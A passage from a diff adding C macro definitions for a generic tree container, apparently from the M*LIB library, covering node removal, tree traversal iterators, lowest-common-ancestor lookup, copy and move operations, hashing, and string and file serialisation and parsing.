+                M_ASSERT(left == M_TR33_NO_NODE);                             \
+                it.tree->tab[parent].child = right;                           \
+            } else if (parent == M_TR33_ROOT_NODE) {                          \
+                it.tree->root_index = right;                                  \
+            }                                                                 \
+        } else {                                                              \
+            if (M_UNLIKELY(it.index == it.tree->root_index)) {                \
+                /* complex case. Swap root with its first child */            \
+                it_t it_child = { it.tree, child };                           \
+                M_F(name, _swap_at)(it, it_child, false);                     \
+                parent = it.tree->tab[it.index].parent;                       \
+                child  = it.tree->tab[it.index].child;                        \
+                left   = it.tree->tab[it.index].left;                         \
+                right  = it.tree->tab[it.index].right;                        \
+                if (child == M_TR33_NO_NODE) { goto remove_child_no_node; }   \
+            }                                                                 \
+            /* Merge the child with the current siblings */                   \
+            /* Compute the range of childs & update their parent */           \
+            size_t num_child = 1;                                             \
+            child_r = child;                                                  \
+            it.tree->tab[child_r].parent = parent;                            \
+            while (it.tree->tab[child_r].right != M_TR33_NO_NODE) {           \
+                child_r = it.tree->tab[child_r].right;                        \
+                it.tree->tab[child_r].parent = parent;                        \
+                num_child ++;                                                 \
+            }                                                                 \
+            (void) num_child;                                                 \
+            M_ASSERT(it.index != it.tree->root_index || num_child == 1);      \
+            /* Remove node from sibling */                                    \
+            it.tree->tab[left].right = child;                                 \
+            it.tree->tab[child].left = left;                                  \
+            it.tree->tab[right].left = child_r;                               \
+            it.tree->tab[child_r].right = right;                              \
+            /* Remove node from parent if it is the first child */            \
+            if (parent >= 0 && it.tree->tab[parent].child == it.index) {      \
+                M_ASSERT(left == M_TR33_NO_NODE);                             \
+                it.tree->tab[parent].child = child;                           \
+            }                                                                 \
+            M_ASSERT (parent != M_TR33_ROOT_NODE);                            \
+        }                                                                     \
+        /* Free the node to the allocator */                                  \
+        M_C3(m_tr33_, name, _free_node)(it.tree, it.index);                   \
+        return &it.tree->tab[it.index].data;                                  \
+    }                                                                         \
+                                                                              \
+    M_P(bool, name, _remove, it_t it) {                                       \
+        M_TR33_IT_CONTRACT(it, false);                                        \
+        M_UNUSED_CONTEXT();                                                   \
+        if (M_UNLIKELY(it.index < 0)) { return false; }                       \
+        type *ptr = M_F(name, _unlink)(it);                                   \
+        M_CALL_CLEAR(oplist, *ptr);                                           \
+        return true;                                                          \
+    }                                                                         \
+                                                                              \
+    /* Scan all nodes, first the parent then the children (uses with _it) */  \
+    /* pre-order walk */                                                      \
+    M_INLINE void                                                             \
+    M_F(name, _next)(it_t *it) {                                              \
+        M_TR33_IT_CONTRACT(*it, true);                                        \
+        /* First go down, if impossible go right */                           \
+        if (M_F(name, _it_down)(it) || M_F(name, _it_right)(it)) {            \
+            return;                                                           \
+        }                                                                     \
+        /* If impossible to go right, move up and then right until impossible */ \
+        while (M_F(name, _it_up)(it)) {                                       \
+            if (M_F(name, _it_right)(it)) {                                   \
+                return;                                                       \
+            }                                                                 \
+        }                                                                     \
+        /* Reach end of tree */                                               \
+        it->index = M_TR33_NO_NODE;                                           \
+        M_TR33_IT_CONTRACT(*it, false);                                       \
+    }                                                                         \
+                                                                              \
+    /* Scan all nodes, first the children then the parent */                  \
+    /* post-order walk */                                                     \
+    M_INLINE it_t                                                             \
+    M_F(name, _it_post)(tree_t tree) {                                        \
+        M_TR33_CONTRACT(tree);                                                \
+        it_t it;                                                              \
+        it.tree = tree;                                                       \
+        it.index = tree->root_index;                                          \
+        /* Evaluate child first, so go down to the lowest child */            \
+        while (M_F(name, _it_down)(&it)) {}                                   \
+        M_TR33_IT_CONTRACT(it, false);                                        \
+        return it;                                                            \
+    }                                                                         \
+                                                                              \
+    /* Scan all nodes, first the children then the parent (uses with _it_post) */ \
+    /* post-order walk */                                                     \
+    M_INLINE void                                                             \
+    M_F(name, _next_post)(it_t *it) {                                         \
+        M_TR33_IT_CONTRACT(*it, true);                                        \
+        /* First go right */                                                  \
+        if (M_F(name, _it_right)(it)) {                                       \
+            /* then go down */                                                \
+            while (M_F(name, _it_down)(it)) {}                                \
+            return;                                                           \
+        }                                                                     \
+        /* If impossible to go right, move up */                              \
+        if (M_F(name, _it_up)(it)) {                                          \
+            return;                                                           \
+        }                                                                     \
+        /* Reach end of tree */                                               \
+        it->index = M_TR33_NO_NODE;                                           \
+        M_TR33_IT_CONTRACT(*it, false);                                       \
+    }                                                                         \
+                                                                              \
+    M_INLINE bool                                                             \
+    M_F(name, _it_equal_p)(it_t it1, it_t it2) {                              \
+        M_TR33_IT_CONTRACT(it1, false);                                       \
+        M_TR33_IT_CONTRACT(it2, false);                                       \
+        return it1.tree == it2.tree && it1.index == it2.index;                \
+    }                                                                         \
+                                                                              \
+    /* Scan all nodes, first the parent, then the children */                 \
+    /* post-order walk */                                                     \
+    M_INLINE it_t                                                             \
+    M_F(name, _it_subpre)(it_t it) {                                          \
+        /* Nothing to do as it is already on the parent! */                   \
+        return it;                                                            \
+    }                                                                         \
+                                                                              \
+    /* Scan the nodes of it_ref, first the parent then the children */        \
+    /* pre-order walk */                                                      \
+    M_INLINE void                                                             \
+    M_F(name, _next_subpre)(it_t *it, it_t it_ref) {                          \
+        M_TR33_IT_CONTRACT(*it, true);                                        \
+        M_TR33_IT_CONTRACT(it_ref, true);                                     \
+        M_ASSERT(it->tree == it_ref.tree);                                    \
+        /* First go down, if impossible go right */                           \
+        if (M_F(name, _it_down)(it)) { return; }                              \
+        if (M_F(name, _it_right)(it)) { return;}                              \
+        /* If impossible to go right, move up and then right for the all section */ \
+        while (M_F(name, _it_up)(it) && it->index != it_ref.index) {          \
+            if (M_F(name, _it_right)(it)) {                                   \
+                return;                                                       \
+            }                                                                 \
+        }                                                                     \
+        /* Reach end of section */                                            \
+        it->index = M_TR33_NO_NODE;                                           \
+        M_TR33_IT_CONTRACT(*it, false);                                       \
+    }                                                                         \
+                                                                              \
+    /* Scan all nodes, first the children then the parent */                  \
+    /* post-order walk */                                                     \
+    M_INLINE it_t                                                             \
+    M_F(name, _it_subpost)(it_t it) {                                         \
+        M_TR33_IT_CONTRACT(it, true);                                         \
+        /* Evaluate child first, so go down to the lowest child */            \
+        while (M_F(name, _it_down)(&it)) {}                                   \
+        M_TR33_IT_CONTRACT(it, false);                                        \
+        return it;                                                            \
+    }                                                                         \
+                                                                              \
+    /* Scan all nodes, first the children then the parent (uses with _it_subpost) */ \
+    /* post-order walk */                                                     \
+    M_INLINE void                                                             \
+    M_F(name, _next_subpost)(it_t *it, it_t ref) {                            \
+        M_TR33_IT_CONTRACT(*it, true);                                        \
+        M_TR33_IT_CONTRACT(ref, true);                                        \
+        M_ASSERT(it->tree == ref.tree);                                       \
+        if (it->index == ref.index) {                                         \
+            /* Reach end of tree */                                           \
+            it->index = M_TR33_NO_NODE;                                       \
+            return;                                                           \
+        }                                                                     \
+        /* First go right */                                                  \
+        if (M_F(name, _it_right)(it)) {                                       \
+            /* then go down */                                                \
+            while (M_F(name, _it_down)(it)) {}                                \
+            return;                                                           \
+        }                                                                     \
+        /* If impossible to go right, move up */                              \
+        bool b = M_F(name, _it_up)(it);                                       \
+        (void) b; /* parameter not used */                                    \
+        assert(b);                                                            \
+    }                                                                         \
+                                                                              \
+    M_P(void, name, _prune, it_t it) {                                        \
+        M_TR33_IT_CONTRACT(it, true);                                         \
+        /* remove the node, including its childs */                           \
+        it_t child = M_F(name, _it_subpost)(it);                              \
+        while (!M_F(name, _end_p)(child)) {                                   \
+            it_t next = child;                                                \
+            M_F(name, _next_subpost)(&next, it);                              \
+            bool b = M_F(name, _remove)M_R(child);                            \
+            (void) b; /* parameter not used */                                \
+            M_ASSERT(b);                                                      \
+            child = next;                                                     \
+        }                                                                     \
+    }                                                                         \
+                                                                              \
+    M_INLINE it_t                                                             \
+    M_F(name, _lca)(it_t it1, it_t it2) {                                     \
+        M_TR33_IT_CONTRACT(it1, true);                                        \
+        M_TR33_IT_CONTRACT(it2, true);                                        \
+        M_ASSERT(it1.tree == it2.tree);                                       \
+        /* Compute the Lowest Common Ancestor in linear time */               \
+        int32_t d1 = M_F(name, _depth)(it1);                                  \
+        int32_t d2 = M_F(name, _depth)(it2);                                  \
+        bool b = true;                                                        \
+        if (d1 > d2) {                                                        \
+            M_SWAP(int32_t, d1, d2);                                          \
+            M_SWAP(it_t, it1, it2);                                           \
+        }                                                                     \
+        /* it2 is deeper than it1 */                                          \
+        while (d1 < d2) {                                                     \
+            b = M_F(name, _it_up)(&it2);                                      \
+            d2--;                                                             \
+            assert(b);                                                        \
+        }                                                                     \
+        /* Move up both iterators until we found the common node */           \
+        while (b && it1.index != it2.index) {                                 \
+            b = M_F(name, _it_up)(&it1);                                      \
+            b = M_F(name, _it_up)(&it2);                                      \
+        }                                                                     \
+        /* If we went back to the root node, we must have found a common node*/ \
+        M_ASSERT(b);                                                          \
+        return it1;                                                           \
+    }                                                                         \
+                                                                              \
+    M_INLINE void                                                             \
+    M_F(name, _graft_child)(it_t it1, const it_t it2) {                       \
+        M_ASSERT(it1.tree == it2.tree);                                       \
+        M_TR33_IT_CONTRACT(it1, true);                                        \
+        M_TR33_IT_CONTRACT(it2, true);                                        \
+        M_ASSERT(it2.index != it2.tree->root_index);                          \
+        /* Move the node it2 and its child down the node *it1 */              \
+        /* Both belongs to the same tree */                                   \
+        const m_tr33_index_t i = it2.index;                                   \
+        /* Unlink it2 except its child */                                     \
+        const m_tr33_index_t parent = it1.tree->tab[i].parent;                \
+        if (parent >= 0 && it1.tree->tab[parent].child == i) {                \
+            it1.tree->tab[parent].child = it1.tree->tab[i].right;             \
+        }                                                                     \
+        const m_tr33_index_t left = it1.tree->tab[i].left;                    \
+        it1.tree->tab[left].right = it1.tree->tab[i].right;                   \
+        const m_tr33_index_t right = it1.tree->tab[i].right;                  \
+        it1.tree->tab[right].left = it1.tree->tab[i].left;                    \
+        /* Add the new node */                                                \
+        const m_tr33_index_t child = it1.tree->tab[it1.index].child;          \
+        it1.tree->tab[i].parent = it1.index;                                  \
+        it1.tree->tab[i].left  = M_TR33_NO_NODE;                              \
+        it1.tree->tab[i].right = child;                                       \
+        /* Update the parent */                                               \
+        it1.tree->tab[it1.index].child = i;                                   \
+        /* Update the sibling */                                              \
+        it1.tree->tab[child].left = i;                                        \
+        M_TR33_IT_CONTRACT(it1, true);                                        \
+        M_TR33_IT_CONTRACT(it2, true);                                        \
+    }                                                                         \
+                                                                              \
+    M_IF_METHOD(CMP,oplist)(                                                  \
+    M_INLINE void                                                             \
+    M_F(name, _sort_child)(it_t it0) {                                        \
+        M_TR33_IT_CONTRACT(it0, true);                                        \
+        it_t it1 = it0;                                                       \
+        /* Go to the child, if it doesn't exist, nothing to sort */           \
+        if (!M_F(name, _it_down)(&it1) ) return ;                             \
+        /* Selection sort */                                                  \
+        do {                                                                  \
+            it_t it_min = it1;                                                \
+            it_t it2    = it1;                                                \
+            while (M_F(name, _it_right)(&it2)) {                              \
+                if (M_CALL_CMP(oplist, *M_F(name, _cref)(it2), *M_F(name, _cref)(it_min)) < 0) { \
+                    it_min = it2;                                             \
+                }                                                             \
+            }                                                                 \
+            if (M_F(name, _it_equal_p)(it_min, it1) == false) {               \
+                M_F(name, _swap_at)(it1, it_min, true);                       \
+                /* The iterator it1 is no longer the min */                   \
+                it1 = it_min;                                                 \
+            }                                                                 \
+        } while (M_F(name, _it_right)(&it1));                                 \
+        M_TR33_IT_CONTRACT(it0, true);                                        \
+    }                                                                         \
+    , /* No CMP */ )                                                          \
+
+
+/* Define the classic extended missing methods of a tree */
+#define M_TR33_DEF_P4_EXT(name, type, oplist, tree_t, it_t)                   \
+    M_P(void, name, _init_set, tree_t tree, const tree_t ref) {               \
+        tree->size = ref->size;                                               \
+        tree->capacity = ref->capacity;                                       \
+        tree->root_index = ref->root_index;                                   \
+        tree->free_index = ref->free_index;                                   \
+        tree->allow_realloc = ref->allow_realloc;                             \
+        size_t alloc = (size_t) ref->capacity;                                \
+        if (ref->tab == NULL) {                                               \
+            tree->tab = NULL;                                                 \
+        } else {                                                              \
+            struct M_F(name, _node_s) *ptr =                                  \
+                M_CALL_REALLOC(oplist, struct M_F(name, _node_s), NULL, 0, alloc+1); \
+            if (M_UNLIKELY_NOMEM (ptr == NULL) ) {                            \
+                M_MEMORY_FULL(struct M_F(name, _node_s), alloc);              \
+            }                                                                 \
+            tree->tab = ++ptr;                                                \
+            /* We don't scan recursively the node tree, but sequentially */   \
+            for(m_tr33_index_t i = 0 ; i < ref->capacity ; i ++) {            \
+                tree->tab[i].parent = ref->tab[i].parent;                     \
+                tree->tab[i].child  = ref->tab[i].child;                      \
+                tree->tab[i].left   = ref->tab[i].left;                       \
+                tree->tab[i].right  = ref->tab[i].right;                      \
+                /* If the node is not a free node, copy the data  */          \
+                if (tree->tab[i].parent != M_TR33_NO_NODE) {                  \
+                    M_CALL_INIT_SET(oplist, tree->tab[i].data, ref->tab[i].data); \
+                }                                                             \
+            }                                                                 \
+        }                                                                     \
+        M_TR33_CONTRACT(tree);                                                \
+    }                                                                         \
+                                                                              \
+    M_P(void, name, _set, tree_t tree, const tree_t ref) {                    \
+        /* No optimum, but good enough currently */                           \
+        M_F(name, _clear)M_R(tree);                                           \
+        M_F(name, _init_set)M_R(tree, ref);                                   \
+    }                                                                         \
+                                                                              \
+    M_INLINE void                                                             \
+    M_F(name, _init_move)(tree_t tree, tree_t ref) {                          \
+        tree->size = ref->size;                                               \
+        tree->capacity = ref->capacity;                                       \
+        tree->root_index = ref->root_index;                                   \
+        tree->free_index = ref->free_index;                                   \
+        tree->allow_realloc = ref->allow_realloc;                             \
+        tree->tab = ref->tab;                                                 \
+        /* This is so reusing the object implies an assertion failure */      \
+        ref->size = 1;                                                        \
+        ref->tab = NULL;                                                      \
+    }                                                                         \
+                                                                              \
+    M_P(void, name, _move, tree_t tree, tree_t ref) {                         \
+        M_F(name, _clear)M_R(tree);                                           \
+        M_F(name, _init_move)(tree, ref);                                     \
+    }                                                                         \
+                                                                              \
+    M_INLINE void                                                             \
+    M_F(name, _swap)(tree_t tree1, tree_t tree2) {                            \
+        M_TR33_CONTRACT(tree1);                                               \
+        M_TR33_CONTRACT(tree2);                                               \
+        M_SWAP(m_tr33_index_t, tree1->size, tree2->size);                     \
+        M_SWAP(m_tr33_index_t, tree1->capacity, tree2->capacity);             \
+        M_SWAP(m_tr33_index_t, tree1->root_index, tree2->root_index);         \
+        M_SWAP(m_tr33_index_t, tree1->free_index, tree2->free_index);         \
+        M_SWAP(unsigned, tree1->allow_realloc, tree2->allow_realloc);         \
+        M_SWAP(M_F(name, _node_ct) *, tree1->tab, tree2->tab);                \
+        M_TR33_CONTRACT(tree1);                                               \
+        M_TR33_CONTRACT(tree2);                                               \
+    }                                                                         \
+                                                                              \
+    M_INLINE size_t                                                           \
+    M_F(name, _size)(const tree_t tree) {                                     \
+        M_TR33_CONTRACT(tree);                                                \
+        return (size_t) tree->size;                                           \
+    }                                                                         \
+                                                                              \
+    M_INLINE bool                                                             \
+    M_F(name, _empty_p)(const tree_t tree) {                                  \
+        M_TR33_CONTRACT(tree);                                                \
+        return tree->size == 0;                                               \
+    }                                                                         \
+                                                                              \
+    M_INLINE size_t                                                           \
+    M_F(name, _capacity)(const tree_t tree) {                                 \
+        M_TR33_CONTRACT(tree);                                                \
+        return (size_t) tree->capacity;                                       \
+    }                                                                         \
+                                                                              \
+    /* Service not really useful as the affectation operator works with it */ \
+    M_INLINE void                                                             \
+    M_F(name, _it_set)(it_t *dst, it_t src ){                                 \
+        *dst = src;                                                           \
+    }                                                                         \
+                                                                              \
+    M_IF_METHOD(EQUAL, oplist)(                                               \
+    M_INLINE bool                                                             \
+    M_F(name, _equal_p)(/*const*/ tree_t t1, /*const*/ tree_t t2) {           \
+        M_TR33_CONTRACT(t1);                                                  \
+        M_TR33_CONTRACT(t2);                                                  \
+        /* Fast case if the sizes don't match */                              \
+        if (M_LIKELY(t1->size != t2->size)) {                                 \
+            return false;                                                     \
+        }                                                                     \
+        /* Slow case. We need to scan both tree                               \
+           and check if we move in the same way                               \
+           while checking also the data                                       \
+           */                                                                 \
+        it_t it1 = M_F(name, _it)(t1);                                        \
+        it_t it2 = M_F(name, _it)(t2);                                        \
+        while (!M_F(name, _end_p)(it1)) {                                     \
+            /* Since both trees have the same size,                           \
+               both iterators shall end at the same time. */                  \
+            M_ASSERT(!M_F(name, _end_p)(it2));                                \
+            bool b = M_CALL_EQUAL(oplist, *M_F(name, _cref)(it1), *M_F(name, _cref)(it2)); \
+            if (!b) return false;                                             \
+            /* First go down, if impossible go right */                       \
+            if (M_F(name, _it_down)(&it1) ) {                                 \
+                b = M_F(name, _it_down)(&it2);                                \
+                if (!b) return false;                                         \
+                continue;                                                     \
+            }                                                                 \
+            if (M_F(name, _it_right)(&it1)) {                                 \
+                b = M_F(name, _it_right)(&it2);                               \
+                if (!b) return false;                                         \
+                continue;                                                     \
+            }                                                                 \
+            /* If impossible, move up and then right until impossible */      \
+            while (M_F(name, _it_up)(&it1)) {                                 \
+                /* Both iterators have move down the same tree by the same    \
+                   amount. Therefore if we can move up one iterator, we can   \
+                   move the other one up too*/                                \
+                b = M_F(name, _it_up)(&it2);                                  \
+                M_ASSERT (b);                                                 \
+                if (M_F(name, _it_right)(&it1)) {                             \
+                    /* it2 right child may not exist */                       \
+                    b = M_F(name, _it_right)(&it2);                           \
+                    if (!b) return false;                                     \
+                    goto do_continue;                                         \
+                }                                                             \
+            }                                                                 \
+            /* Both tree have the same size and the same "local" depth        \
+               Since there is no longer any node up iterator it1,             \
+               there shall not be any node for iterator it2 (same size        \
+               same depth)                                                    \
+             */                                                               \
+            M_ASSERT( M_F(name, _it_up)(&it2) == false);                      \
+            return true;                                                      \
+            /* Reach end of tree */                                           \
+            do_continue:                                                      \
+            continue;                                                         \
+        }                                                                     \
+        M_ASSERT(M_F(name, _end_p)(it2));                                     \
+        return true;                                                          \
+    }                                                                         \
+    , /* No EQUAL */ )                                                        \
+                                                                              \
+    M_IF_METHOD(HASH, oplist)(                                                \
+    M_INLINE size_t                                                           \
+    M_F(name, _hash)(/* const */ tree_t t1) {                                 \
+        M_HASH_DECL(hash);                                                    \
+        for(it_t it = M_F(name, _it)(t1);                                     \
+            !M_F(name, _end_p)(it) ;                                          \
+            M_F(name, _next)(&it)) {                                          \
+            size_t h = M_CALL_HASH(oplist, *M_F(name, _cref)(it));            \
+            M_HASH_UP(hash, h);                                               \
+        }                                                                     \
+        return M_HASH_FINAL(hash);                                            \
+    }                                                                         \
+    , /* No HASH */ )                                                         \
+    
+
+/* Define the IO methods of a tree */
+#define M_TR33_DEF_P4_IO(name, type, oplist, tree_t, it_t)                    \
+M_IF_METHOD(GET_STR, oplist)(                                                 \
+M_P(void, name, _get_str, m_string_t str, /*const*/ tree_t tree, bool append) { \
+    (append ? m_string_cat_cstr : m_string_set_cstr) M_R(str, "[");           \
+    it_t it = M_F(name, _it)(tree);                                           \
+    while (!M_F(name, _end_p)(it)) {                                          \
+        m_string_push_back M_R(str, '{');                                     \
+        type const *item = M_F(name, _cref)(it);                              \
+        M_CALL_GET_STR(oplist, str, *item, true);                             \
+        /* Go down the tree */                                                \
+        if (M_F(name, _it_down)(&it)) {                                       \
+            m_string_push_back M_R(str, M_GET_SEPARATOR oplist);              \
+            m_string_push_back M_R(str, '[');                                 \
+            continue;                                                         \
+        }                                                                     \
+            m_string_push_back M_R(str, '}');                                 \
+        if (M_F(name, _it_right)(&it)) {                                      \
+            m_string_push_back M_R(str, M_GET_SEPARATOR oplist);              \
+            continue;                                                         \
+        }                                                                     \
+        while (M_F(name, _it_up)(&it)) {                                      \
+            m_string_push_back M_R(str, ']');                                 \
+            m_string_push_back M_R(str, '}');                                 \
+            if (M_F(name, _it_right)(&it)) {                                  \
+                m_string_push_back M_R(str, M_GET_SEPARATOR oplist);          \
+                goto continue_tree;                                           \
+            }                                                                 \
+        }                                                                     \
+        it = M_F(name, _it_end)(tree);                                        \
+        continue_tree:                                                        \
+        (void) 0;                                                             \
+    }                                                                         \
+    m_string_push_back M_R(str, ']');                                         \
+}                                                                             \
+, /* No GET_STR */ )                                                          \
+                                                                              \
+M_IF_METHOD(PARSE_STR, oplist)(                                               \
+M_P(bool, name, _parse_str, tree_t tree, const char str[], const char **endp) { \
+    M_TR33_CONTRACT(tree);                                                    \
+    int cmd = 0;                                                              \
+    it_t it;                                                                  \
+    M_F(name, _reset)M_R(tree);                                               \
+    bool success = false;                                                     \
+    int c = *str;                                                             \
+    if (M_UNLIKELY (c != '[')) goto exit;                                     \
+    c = *++str;                                                               \
+    if (M_UNLIKELY (c == ']')) { success = true; str++; goto exit; }          \
+    if (M_UNLIKELY (c == 0)) goto exit;                                       \
+    M_QLET(1, item, type, oplist) {                                           \
+        it = M_F(name, _it_end)(tree);                                        \
+        while (true) {                                                        \
+            c = *str++;                                                       \
+            if (c != '{') break;                                              \
+            bool b = M_CALL_PARSE_STR(oplist, item, str, &str);               \
+            c = *str++;                                                       \
+            if (b == false || c == 0) break;                                  \
+            /* Insert the item as the root or as a right sibling or as a child */ \
+            switch (cmd) {                                                    \
+                case 0: it = M_F(name, _set_root)M_R(tree, item); break;      \
+                case 1: it = M_F(name, _insert_right)M_R(it, item); break;    \
+                case 2: it = M_F(name, _insert_child)M_R(it, item); break;    \
+                default: M_ASSERT(0);                                         \
+            }                                                                 \
+            if (c == ',') {                                                   \
+                /* The current item has some children */                      \
+                c = *str++;                                                   \
+                if (c != '[') break;                                          \
+                /* next is a child: push_down */                              \
+                cmd = 2;                                                      \
+                continue;                                                     \
+            }                                                                 \
+            /* The current item has no children. */                           \
+            if (c != '}') break;                                              \
+            /* Scan the next character to decide where to move (right or up) */ \
+            c = *str++;                                                       \
+            if (c == ']') {                                                   \
+                do {                                                          \
+                    /* move up. It we cannot, we have reached the end */      \
+                    if (!M_F(name, _it_up)(&it)) { success = true; break; }   \
+                    c = *str++;                                               \
+                    if (c != '}') goto do_break;                              \
+                    c = *str++;                                               \
+                } while (c == ']');                                           \
+            }                                                                 \
+            if (c != ',') { do_break: break; }                                \
+            /* next is a sibling: push_right */                               \
+            cmd = 1;                                                          \
+        }                                                                     \
+    }                                                                         \
+exit:                                                                         \
+    if (endp) *endp = str;                                                    \
+    M_TR33_CONTRACT(tree);                                                    \
+    return success;                                                           \
+}                                                                             \
+, /* No PARSE_STR */ )                                                        \
+                                                                              \
+M_IF_METHOD(OUT_STR, oplist)(                                                 \
+M_INLINE void                                                                 \
+M_F(name, _out_str)(FILE *f, /*const*/ tree_t tree) {                         \
+    fputc('[', f);                                                            \
+    it_t it = M_F(name, _it)(tree);                                           \
+    while (!M_F(name, _end_p)(it)) {                                          \
+        fputc('{', f);                                                        \
+        type const *item = M_F(name, _cref)(it);                              \
+        M_CALL_OUT_STR(oplist, f, *item);                                     \
+        /* Go down the tree */                                                \
+        if (M_F(name, _it_down)(&it)) {                                       \
+            fputc (M_GET_SEPARATOR oplist, f);                                \
+            fputc ('[', f);                                                   \
+            continue;                                                         \
+        }                                                                     \
+            fputc ('}', f);                                                   \
+        if (M_F(name, _it_right)(&it)) {                                      \
+            fputc (M_GET_SEPARATOR oplist, f);                                \
+            continue;                                                         \
+        }                                                                     \
+        while (M_F(name, _it_up)(&it)) {                                      \
+            fputc (']', f);                                                   \
+            fputc ('}', f);                                                   \
+            if (M_F(name, _it_right)(&it)) {                                  \
+                fputc (M_GET_SEPARATOR oplist, f);                            \
+                goto continue_tree;                                           \
+            }                                                                 \
+        }                                                                     \
+        it = M_F(name, _it_end)(tree);                                        \
+        continue_tree:                                                        \
+        (void) 0;                                                             \
+    }                                                                         \
+    fputc (']', f);                                                           \
+}                                                                             \
+, /* No OUT_STR */ )                                                          \
+                                                                              \
+M_IF_METHOD(IN_STR, oplist)(                                                  \
+M_P(bool, name, _in_str, tree_t tree, FILE *f) {                              \
+    M_TR33_CONTRACT(tree);                                                    \
+    int cmd = 0;                                                              \
+    it_t it;                                                                  \
+    M_F(name, _reset)M_R(tree);                                               \
+    bool success = false;                                                     \
+    int c = fgetc(f);                                                         \
+    if (M_UNLIKELY (c != '[')) goto exit;                                     \
+    c = fgetc(f);                                                             \
+    if (M_UNLIKELY (c == ']')) { success = true; goto exit; }                 \
+    ungetc(c, f);                                                             \
+    if (M_UNLIKELY (c == 0)) goto exit;                                       \
+    M_QLET(1, item, type, oplist) {                                           \
+        it = M_F(name, _it_end)(tree);                                        \
+        while (true) {                                                        \
+            c = fgetc(f);                                                     \
+            if (c != '{') break;                                              \
+            bool b = M_CALL_IN_STR(oplist, item, f);                          \
+            c = fgetc(f);                                                     \
+            if (b == false || c == 0) break;                                  \
+            /* Insert the item as the root or as a right sibling or as a child */ \
+            switch (cmd) {                                                    \
+                case 0: it = M_F(name, _set_root)M_R(tree, item); break;      \
+                case 1: it = M_F(name, _insert_right)M_R(it, item); break;    \
+                case 2: it = M_F(name, _insert_child)M_R(it, item); break;    \
+                default: M_ASSERT(0);                                         \
+            }                                                                 \
+            if (c == ',') {                                                   \
+                /* The current item has some children */                      \
+                c = fgetc(f);                                                 \
+                if (c != '[') break;                                          \
+                /* next is a child: push_down */                              \
+                cmd = 2;                                                      \
+                continue;                                                     \
+            }                                                                 \
+            /* The current item has no children. */                           \
+            if (c != '}') break;                                              \
+            /* Scan the next character to decide where to move (right or up) */ \
+            c = fgetc(f);                                                     \
+            if (c == ']') {                                                   \
+                do {                                                          \
+                    /* move up. It we cannot, we have reached the end */      \
+                    if (!M_F(name, _it_up)(&it)) { success = true ; break; }  \
+                    c = fgetc(f);                                             \
+                    if (c != '}') goto do_break;                              \
+                    c = fgetc(f);                                             \
+                } while (c == ']');                                           \
+            }                                                                 \
+            if (c != ',') { do_break: break; }                                \
+            /* next is a sibling: push_right */                               \
+            cmd = 1;                                                          \
+        }                                                                     \
+    }                                                                         \
+exit:                                                                         \
+    M_TR33_CONTRACT(tree);                                                    \
+    return success;                                                           \
+}                                                                             \
+, /* No IN_STR */ )                                                           \
+
+/* Define the emplace methods of a tree */
+#define M_TR33_DEF_P4_EMPLACE(name, type, oplist, tree_t, it_t)               \
+  M_EMPLACE_QUEUE_DEF(name, tree_t, _emplace_root, oplist, M_TR33_EMPLACE_ROOT_DEF) \
+  M_EMPLACE_QUEUE_DEF(name, it_t, _emplace_up, oplist, M_TR33_EMPLACE_UP_DEF) \
+  M_EMPLACE_QUEUE_DEF(name, it_t, _emplace_down, oplist, M_TR33_EMPLACE_DOWN_DEF) \
+  M_EMPLACE_QUEUE_DEF(name, it_t, _emplace_child, oplist, M_TR33_EMPLACE_CHILD_DEF) \
+  M_EMPLACE_QUEUE_DEF(name, it_t, _emplace_left, oplist, M_TR33_EMPLACE_LEFT_DEF) \
+  M_EMPLACE_QUEUE_DEF(name, it_t, _emplace_right, oplist, M_TR33_EMPLACE_RIGHT_DEF)
+
+/* Definition of the emplace_back functions */
+#define M_TR33_EMPLACE_ROOT_DEF(name, name_t, function_name, oplist, init_func, exp_emplace_type) \
+  M_P(M_F(name, _it_ct), name, function_name, name_t tree M_EMPLACE_LIST_TYPE_VAR(a, exp_emplace_type) ) \
+    {                                                                         \
+        M_TR33_CONTRACT(tree);                                                \
+        M_F(name, _reset)M_R(tree);                                           \
+        m_tr33_index_t i = M_F(name, _i_alloc_node)M_R(tree);                 \
+        tree->tab[i].parent = M_TR33_ROOT_NODE;                               \
+        tree->tab[i].left   = M_TR33_NO_NODE;                                 \
+        tree->tab[i].right  = M_TR33_NO_NODE;                                 \
+        tree->tab[i].child  = M_TR33_NO_NODE;                                 \
+        tree->root_index = i;                                                 \
+        M_EMPLACE_CALL_FUNC(a, init_func, oplist, tree->tab[i].data,          \
+                        exp_emplace_type);                                    \
+        M_F(name, _it_ct) it;                                                 \
+        it.tree = tree;                                                       \
+        it.index = tree->root_index;                                          \
+        M_TR33_CONTRACT(tree);                                                \
+        return it;                                                            \
+    }
+
+#define M_TR33_EMPLACE_UP_DEF(name, name_t, function_name, oplist, init_func, exp_emplace_type) \
+  M_P(name_t, name, function_name, name_t pos M_EMPLACE_LIST_TYPE_VAR(a, exp_emplace_type) ) \
+  {                                                                           \
+    name_t it = M_F(name, _insert_up_raw)M_R(pos);                            \
+    M_EMPLACE_CALL_FUNC(a, init_func, oplist, it.tree->tab[it.index].data,    \
+                        exp_emplace_type);                                    \
+    return it;                                                                \
+  }
+
+#define M_TR33_EMPLACE_DOWN_DEF(name, name_t, function_name, oplist, init_func, exp_emplace_type) \
+  M_P(name_t, name, function_name, name_t pos M_EMPLACE_LIST_TYPE_VAR(a, exp_emplace_type) ) \
+  {                                                                           \
+    name_t it = M_F(name, _insert_down_raw)M_R(pos);                          \
+    M_EMPLACE_CALL_FUNC(a, init_func, oplist, it.tree->tab[it.index].data,    \
+                        exp_emplace_type);                                    \
+    return it;                                                                \
+  }
+
+#define M_TR33_EMPLACE_CHILD_DEF(name, name_t, function_name, oplist, init_func, exp_emplace_type) \
+  M_P(name_t, name, function_name, name_t pos M_EMPLACE_LIST_TYPE_VAR(a, exp_emplace_type) ) \
+  {                                                                           \
+    name_t it = M_F(name, _insert_child_raw)M_R(pos);                         \
+    M_EMPLACE_CALL_FUNC(a, init_func, oplist, it.tree->tab[it.index].data,    \
+                        exp_emplace_type);                                    \
+    return it;                                                                \
+  }
+
+#define M_TR33_EMPLACE_LEFT_DEF(name, name_t, function_name, oplist, init_func, exp_emplace_type) \
+  M_P(name_t, name, function_name, name_t pos M_EMPLACE_LIST_TYPE_VAR(a, exp_emplace_type) ) \
+  {                                                                           \
+    name_t it = M_F(name, _insert_left_raw)M_R(pos);                          \
+    M_EMPLACE_CALL_FUNC(a, init_func, oplist, it.tree->tab[it.index].data,    \
+                        exp_emplace_type);                                    \
+    return it;                                                                \
+  }
+
